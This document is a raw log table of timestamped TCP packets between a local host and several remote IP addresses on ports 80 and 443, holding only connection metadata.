| Dec 16, 2024 16:33:24.934834957 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.940026045 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.940098047 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.940140009 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.940188885 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.943062067 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.943133116 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.943170071 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.943228960 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.948863983 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.948930025 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.948975086 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.949033976 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.951239109 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.951340914 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.951364994 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.951422930 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.955044031 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.955112934 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.955125093 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.955178022 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.958992004 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.959075928 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.959088087 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.959148884 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.962843895 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.962915897 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.962928057 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.962991953 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.966850042 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.966933966 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.966984034 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.967044115 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.970443964 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.970505953 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.970557928 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.970614910 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.974214077 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.974288940 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.974406004 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.974457979 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.977859974 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.977922916 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.977952003 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.978003025 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.981705904 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.981776953 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.981801033 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.981854916 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.985214949 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.985277891 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.985325098 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.985378981 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.989025116 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.989109039 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.989137888 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.989192009 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.992377996 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.992469072 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.992515087 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.992574930 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.995515108 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.995590925 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.995604992 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.995668888 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.998914003 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.998991966 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.999034882 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.999087095 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.001689911 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.001754045 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.001791000 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.001848936 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.004848957 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.004915953 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.004970074 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.005017042 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.007838964 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.007895947 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.007949114 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.008013964 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.010957003 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.011023045 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.011131048 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.011183023 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.013906956 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.013962984 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.014023066 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.014084101 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.014410019 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.014452934 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.016993999 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.017040014 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.017427921 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.017473936 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.020472050 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.020515919 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.020730019 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.020772934 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.026489019 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.026542902 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.026710033 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.026757956 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.026834011 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.026874065 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.027798891 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.027853966 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.036628008 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.036679983 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.037054062 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.037096977 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.037164927 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.037205935 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.038201094 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.038247108 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.038321018 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.038362026 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.039304972 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.039345026 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.039356947 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.039386988 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.039400101 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.039411068 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:25.385516882 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:25.505780935 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.506200075 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:25.506360054 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:25.626385927 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:26.778592110 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:26.784601927 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:26.906301975 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:27.192281008 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:27.235984087 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:28.033638954 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:28.033689022 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:28.033781052 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:28.035834074 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:28.035861969 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.267210960 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.267354012 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:29.271286964 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:29.271337032 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.271792889 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.274758101 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:29.315334082 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.709625959 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.709808111 CET | 443 | 49806 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:29.709902048 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:29.714881897 CET | 49806 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:29.720519066 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:29.840368032 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:30.131134033 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:30.132982016 CET | 49812 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:30.133021116 CET | 443 | 49812 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:30.133100986 CET | 49812 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:30.133371115 CET | 49812 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:30.133385897 CET | 443 | 49812 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:30.173512936 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:31.353105068 CET | 443 | 49812 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:31.354918957 CET | 49812 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:31.354948997 CET | 443 | 49812 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:31.824784994 CET | 443 | 49812 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:31.824943066 CET | 443 | 49812 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:31.825002909 CET | 49812 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:31.825368881 CET | 49812 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:31.828421116 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:31.829504013 CET | 49818 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:31.948549986 CET | 80 | 49800 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:31.948693991 CET | 49800 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:31.949251890 CET | 80 | 49818 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:31.949336052 CET | 49818 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:31.949470043 CET | 49818 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:32.069197893 CET | 80 | 49818 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:33.218835115 CET | 80 | 49818 | 193.122.6.168 | 192.168.2.4 |
| Dec 16, 2024 16:33:33.220356941 CET | 49824 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:33.220386982 CET | 443 | 49824 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:33.220566034 CET | 49824 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:33.220813036 CET | 49824 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:33.220822096 CET | 443 | 49824 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:33.267532110 CET | 49818 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:33:34.452958107 CET | 443 | 49824 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:34.455116987 CET | 49824 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:34.455146074 CET | 443 | 49824 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:34.921596050 CET | 443 | 49824 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:34.921797037 CET | 443 | 49824 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:34.921876907 CET | 49824 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:34.922250986 CET | 49824 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:35.101102114 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:35.223218918 CET | 80 | 49828 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:35.223304033 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:35.223452091 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:35.344832897 CET | 80 | 49828 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:36.447566032 CET | 80 | 49828 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:36.448894024 CET | 49831 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:36.448985100 CET | 443 | 49831 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:36.449120045 CET | 49831 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:36.449379921 CET | 49831 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:36.449415922 CET | 443 | 49831 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:36.501763105 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:37.668638945 CET | 443 | 49831 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:37.670658112 CET | 49831 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:37.670736074 CET | 443 | 49831 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:38.136502028 CET | 443 | 49831 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:38.136576891 CET | 443 | 49831 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:38.136642933 CET | 49831 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:38.137029886 CET | 49831 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:38.147361040 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:38.149514914 CET | 49835 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:38.454901934 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:38.559283972 CET | 80 | 49835 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:38.559345007 CET | 80 | 49828 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:38.559541941 CET | 49835 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:38.559593916 CET | 49828 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:38.559715986 CET | 49835 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:38.574919939 CET | 80 | 49828 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:38.679507971 CET | 80 | 49835 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:39.763645887 CET | 80 | 49835 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:39.764966011 CET | 49840 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:39.764996052 CET | 443 | 49840 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:39.765086889 CET | 49840 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:39.765444994 CET | 49840 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:39.765461922 CET | 443 | 49840 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:39.814147949 CET | 49835 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:40.999567032 CET | 443 | 49840 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:41.001509905 CET | 49840 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:41.001537085 CET | 443 | 49840 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:41.490715981 CET | 443 | 49840 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:41.490878105 CET | 443 | 49840 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:41.490947962 CET | 49840 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:41.491332054 CET | 49840 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:41.494661093 CET | 49835 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:41.495992899 CET | 49842 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:41.615540028 CET | 80 | 49835 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:41.615631104 CET | 49835 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:41.616233110 CET | 80 | 49842 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:41.616338015 CET | 49842 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:41.616498947 CET | 49842 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:41.736381054 CET | 80 | 49842 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:42.841303110 CET | 80 | 49842 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:42.843045950 CET | 49848 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:42.843090057 CET | 443 | 49848 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:42.843241930 CET | 49848 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:42.843518019 CET | 49848 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:42.843532085 CET | 443 | 49848 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:42.892412901 CET | 49842 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:44.394408941 CET | 443 | 49848 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:44.418366909 CET | 49848 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:44.418407917 CET | 443 | 49848 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:44.952824116 CET | 443 | 49848 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:44.952970982 CET | 443 | 49848 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:44.953022957 CET | 49848 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:44.953243017 CET | 49848 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:44.960304022 CET | 49842 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:44.961662054 CET | 49853 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:45.095797062 CET | 80 | 49853 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:45.095813036 CET | 80 | 49842 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:45.095916033 CET | 49853 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:45.095999956 CET | 49842 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:45.096046925 CET | 49853 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:45.215980053 CET | 80 | 49853 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:46.300425053 CET | 80 | 49853 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:46.301683903 CET | 49855 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:46.301776886 CET | 443 | 49855 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:46.302038908 CET | 49855 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:46.302228928 CET | 49855 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:46.302253008 CET | 443 | 49855 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:46.345386028 CET | 49853 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:47.546794891 CET | 443 | 49855 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:47.548983097 CET | 49855 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:47.549009085 CET | 443 | 49855 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:48.283477068 CET | 443 | 49855 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:48.283633947 CET | 443 | 49855 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:48.283699036 CET | 49855 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:48.284153938 CET | 49855 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:48.288374901 CET | 49853 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:48.289419889 CET | 49861 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:48.408875942 CET | 80 | 49853 | 158.101.44.242 | 192.168.2.4 |
